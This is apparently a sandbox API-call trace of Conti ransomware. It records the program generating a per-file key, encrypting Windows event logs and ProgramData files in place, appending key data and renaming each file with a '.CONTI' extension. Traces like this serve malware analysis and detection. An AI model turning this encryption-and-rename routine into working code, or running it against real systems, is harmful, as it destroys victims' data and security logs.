	[0096.837] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x111000
	[0096.837] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.837] SetEndOfFile (hFile=0x3b0) returned 1
	[0096.837] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.837] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.837] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.839] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.839] ReadFile (in: hFile=0x3b0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x111000, lpOverlapped=0x0) returned 1
	[0096.963] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x111000, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x111010) returned 1
	[0096.965] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.965] WriteFile (in: hFile=0x3b0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x111010, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x111010, lpOverlapped=0x0) returned 1
	[0096.967] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.967] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0096.968] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.968] CloseHandle (hObject=0x3b0) returned 1
	[0096.984] GetProcessHeap () returned 0x1720000
	[0096.984] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0096.985] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx"
	[0096.985] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.CONTI"
	[0096.985] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.conti")) returned 1
	[0096.986] GetProcessHeap () returned 0x1720000
	[0096.986] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0096.986] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0096.986] GetProcessHeap () returned 0x1720000
	[0096.986] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1726e10 | out: hHeap=0x1720000) returned 1
	[0096.986] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0097.583] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17e9d90 | out: phKey=0x17e9d90*=0x17c8530) returned 1
	[0097.583] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9d94, pdwDataLen=0x36ffea4 | out: pbData=0x17e9d94*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0097.609] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0097.610] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.617] GetLastError () returned 0x0
	[0097.617] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=1118208) returned 1
	[0097.617] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x111000
	[0097.618] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.618] SetEndOfFile (hFile=0x35c) returned 1
	[0097.618] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.618] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.618] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9d94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17e9d94*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0097.619] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.619] ReadFile (in: hFile=0x35c, lpBuffer=0x12130000, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x111000, lpOverlapped=0x0) returned 1
	[0097.627] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x111000, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x111010) returned 1
	[0097.628] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.628] WriteFile (in: hFile=0x35c, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x111010, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x111010, lpOverlapped=0x0) returned 1
	[0097.631] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.631] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9d88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17e9d88*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0097.631] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.631] CloseHandle (hObject=0x35c) returned 1
	[0097.648] GetProcessHeap () returned 0x1720000
	[0097.648] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.649] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Security.evtx" | out: lpString1="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx"
	[0097.649] lstrcatW (in: lpString1="C:\\Logs\\Security.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Security.evtx.CONTI") returned="C:\\Logs\\Security.evtx.CONTI"
	[0097.649] MoveFileW (lpExistingFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), lpNewFileName="C:\\Logs\\Security.evtx.CONTI" (normalized: "c:\\logs\\security.evtx.conti")) returned 1
	[0097.650] GetProcessHeap () returned 0x1720000
	[0097.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.650] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0097.650] GetProcessHeap () returned 0x1720000
	[0097.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738d70 | out: hHeap=0x1720000) returned 1
	[0097.650] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0098.628] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17e9b48 | out: phKey=0x17e9b48*=0x17c81b0) returned 1
	[0098.628] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9b4c, pdwDataLen=0x36ffea4 | out: pbData=0x17e9b4c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0098.629] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1")) returned 0x20
	[0098.630] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0098.631] GetLastError () returned 0x5
	[0098.631] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0098.631] GetProcessHeap () returned 0x1720000
	[0098.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3dd8 | out: hHeap=0x1720000) returned 1
	[0098.631] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0099.466] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c7e30) returned 1
	[0099.466] CryptExportKey (in: hKey=0x17c7e30, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x36ffea4 | out: pbData=0x17d4684*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0099.467] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml")) returned 0x20
	[0099.565] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0099.565] GetLastError () returned 0x0
	[0099.565] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=1965927) returned 1
	[0099.565] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dff67
	[0099.565] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.565] SetEndOfFile (hFile=0x3c4) returned 1
	[0101.778] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.778] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.778] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0102.714] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.714] ReadFile (in: hFile=0x3c4, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1dff67, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1dff67, lpOverlapped=0x0) returned 1
	[0102.745] CryptEncrypt (in: hKey=0x17c7e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1dff67, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1dff70) returned 1
	[0102.747] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.747] WriteFile (in: hFile=0x3c4, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x1dff70, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x1dff70, lpOverlapped=0x0) returned 1
	[0102.755] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.755] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0102.755] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.755] CloseHandle (hObject=0x3c4) returned 1
	[0103.959] GetProcessHeap () returned 0x1720000
	[0103.959] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0103.959] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml"
	[0103.959] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.CONTI"
	[0103.959] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml.conti")) returned 1
	[0104.259] GetProcessHeap () returned 0x1720000
	[0104.259] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0104.260] CryptDestroyKey (hKey=0x17c7e30) returned 1
	[0104.260] GetProcessHeap () returned 0x1720000
	[0104.260] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d06d8 | out: hHeap=0x1720000) returned 1
	[0104.260] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0104.979] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c85b0) returned 1
	[0104.980] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x36ffea4 | out: pbData=0x17d61e4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0104.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json")) returned 0x120
	[0104.981] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.981] GetLastError () returned 0x5
	[0104.981] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0104.981] GetProcessHeap () returned 0x1720000
	[0104.981] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0104.981] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0105.435] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c7eb0) returned 1
	[0105.435] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x36ffea4 | out: pbData=0x17d41f4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0105.436] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml")) returned 0x20
	[0105.436] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.436] GetLastError () returned 0x5
	[0105.436] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0105.436] GetProcessHeap () returned 0x1720000
	[0105.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbf30 | out: hHeap=0x1720000) returned 1
	[0105.436] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0105.701] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c8570) returned 1
	[0105.701] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x36ffea4 | out: pbData=0x17d4d5c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0105.702] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl")) returned 0x20
	[0105.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.702] GetLastError () returned 0x0
	[0105.702] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=14972) returned 1
	[0105.702] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a7c
	[0105.703] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.703] SetEndOfFile (hFile=0x38c) returned 1
	[0105.703] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.703] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.703] WriteFile (in: hFile=0x38c, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0105.704] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.705] ReadFile (in: hFile=0x38c, lpBuffer=0x12130000, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x3a7c, lpOverlapped=0x0) returned 1
	[0105.705] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x3a7c, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x3a80) returned 1
	[0105.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.705] WriteFile (in: hFile=0x38c, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x3a80, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x3a80, lpOverlapped=0x0) returned 1
	[0105.706] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.706] WriteFile (in: hFile=0x38c, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0105.706] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.706] CloseHandle (hObject=0x38c) returned 1
	[0105.706] GetProcessHeap () returned 0x1720000
	[0105.706] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.706] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL"
	[0105.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.CONTI") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.CONTI"
	[0105.706] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.CONTI" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.conti")) returned 1
	[0105.706] GetProcessHeap () returned 0x1720000
